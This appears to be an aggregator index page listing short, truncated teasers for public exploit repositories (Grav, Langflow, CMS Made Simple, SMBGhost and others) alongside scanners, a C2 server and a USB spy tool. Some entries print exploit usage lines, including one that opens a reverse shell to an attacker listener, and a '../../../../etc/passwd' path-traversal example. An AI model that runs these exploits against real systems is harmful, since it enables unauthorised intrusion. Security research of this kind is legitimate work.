CVE-2026-5426

CVE-2026-5426 ⚡ Uso Sencillo Use este proyecto solo en entornos seguros y autorizados, como: Máquinas virtuales locales Contenedores Docker Entornos de laboratorio aislados Entornos de prueba de penetración autorizados Configuración de ejemplo: root@kitploit: git clone cd Ejemplo de uso:...

CVE-2026-5562-Exploit

Exploit CVE-2026-5562 Advertencia Este repositorio contiene un script de investigación de prueba de concepto para validar la exposición en un entorno controlado. Es solo con fines de investigación y educación, no debe utilizarse contra sistemas de producción en los que no tenga autorización...

USB Spy

USB SPY usb-spy is a USB Mass Storage traffic analyzer built around a WiFi or Ethernet-enabled microcontroller. The board exposes a disk image FAT or any filesystem as a fake USB Mass Storage device to a target system, while the actual storage data is provided by a remote server over WiFi or...

BRIntelcollector

BRIntelcollector Overview The BRIntelcollector is a Cyber Threat Intelligence CTI tool focused on Brazilian national threat indicators. The tool allows searching and consolidating information about cyber threats through multiple intelligence sources, facilitating the creation of a centralized...

CVE-2021-21425-RCE

this is my version i found a lot in internet but those are too bad USAGE root@kitploit: python3 exploit.py -u http://IP/grav-admin/ --lhost YOUR TUN0 IP --lport 4444 wait.. for 60sec you will get shell at your listener...

VulnScan-Pro

⚡ VulnScan Pro A professional cybersecurity vulnerability scanner built with Python 3.13 and PyQt6. Designed for authorised security assessments, educational research, and defensive cybersecurity. ⚠ Legal Notice This tool must only be used on systems you own or have explicit written permission to...

CVE-2026-48802

A flaw was found in python-engineio, a Python implementation of the Engine.IO realtime client and server. A remote attacker can exploit a vulnerability in the heartbeat mechanism by sending specific packets, leading to the creation of excessive background threads. This can result in a Denial of...

CVE-2026-39636-vulnerability-exp

1. Burp Suite must be opened before running here !! And the default Burp Suite port must be 8080. If it is different, you can change it yourself. 2. Download the required libraries root@kitploit: pip install websockets==16.0 -i https://pypi.tuna.tsinghua.edu.cn/simple 3. Just run it directly...

CVE-2007-4559

PoC or Exploit for CVE-2007-4559 A malicious TAR archive can include file paths like ../../../../etc/passwd, which try to "climb up" out of the intended extraction folder. If a Python script uses tarfile.extract or extractall without checking the file paths, it will unpack files to those location...

CVE-2022-29464

CVE-2022-29464 SynixCyberCrimeMY CVE Exploiter By SamuraiMelayu1337 & ?/h4zzzzzz.scc How To Usage? git clone https://github.com/SynixCyberCrimeMy/CVE-2022-29464 cd CVE-2022-29464 pip3 install -r requirements.txt python3 cve.py Thanks To All Members SynixCyberCrimeMY...

exploit-CVE-2020-24815

exploit-CVE-2020-24815.py este es mi primer exploit para CVE-2020-24815 pon la ruta POST después de la url !!!! Ejemplo: si el script no funciona cambia la cookie en el script root@kitploit: $ - pip install -r requirements.txt arreglar problema pdftotext no instalado: root@kitploit: $ - sudo...

CVE-2022-29056

CVE-2022-29056 Exploit Automation For Educational Purposes 🚨 📌 Description This is a Python script with a graphical interface Tkinter that allows the user to test automated request submissions to a login endpoint. The goal is to simulate how servers respond to different payload sizes and analyze...

CVE-2023-51764-POC

based on https://github.com/duy-31/CVE-2023-51764 and https://events.ccc.de/congress/2023/hub/en/event/smtpsmugglingspoofinge-mailsworldwide/?trk=publicpostcomment-text its just some poc port to python 3.x...

CVE-2020-0796

CVE-2020-0796 Remote overflow POC POC to check for CVE-2020-0796 / "SMBGhost" Usage Make sure Python is installed, then run cve-2020-0796.py...

CVE-2019-9053-CMS-Made-Simple-2.2.10---SQL-Injection-Exploit

CMS-Made-Simple-2.2.10---SQL-Injection-Exploit-com-corre-o-de-Bugs El exploit fue corregido para soportar python 3 CVE-2019-9053 Fuente de explotación original: https://www.exploit-db.com/exploits/46635 Posible error y su corrección Traceback most recent call last: File "46635.py", line 12, in fr...

CVE-2026-33017-Langflow-RCE

CVE-2026-33017 - Vulnerabilidad RCE en Langflow Explotado por infrar3d Este exploit de prueba de concepto apunta a una vulnerabilidad crítica de Ejecución Remota de Código RCE en versiones de Langflow anteriores a la 1.9.0. La vulnerabilidad permite a atacantes no autenticados ejecutar comandos...

CIS GitLab Benchmark Scanner

Escáner del Benchmark CIS de GitLab - gitlabcis Antecedentes El 17 de abril de 2024, GitLab™ publicó una entrada de blog presentando su Benchmark CIS de GitLab del Center for Internet Security® CIS. Con el objetivo de mejorar la seguridad del producto y ofrecer recomendaciones de endurecimiento a...

exploit-cve-2018-7448

exploit-cve-2018-7448 Purpose This is a python script to automate CMS Made Simple 2.1.6 - Remote Code Execution - CVE-2018-7448. It was created based on https://www.exploit-db.com/exploits/44192. Usage root@kitploit: python3 exploit-CVE-2018-7448.py -t 127.0.0.1/cmsms -d cms -u root -p password...

NetSpy

NetSpyC2 NetSpyC2 is a Python-based Command & Control C2 server created for educational purposes, security research, and controlled laboratory environments. The project demonstrates how encrypted client-server communication, session management, and secure file transfer can be implemented at the...

Argus

Un conjunto de herramientas basado en Python para la recopilación de información y el reconocimiento Acerca del proyecto Argus es un conjunto de herramientas todo en uno, impulsado por Python, diseñado para optimizar el proceso de recopilación de información y reconocimiento. Reúne una interfaz...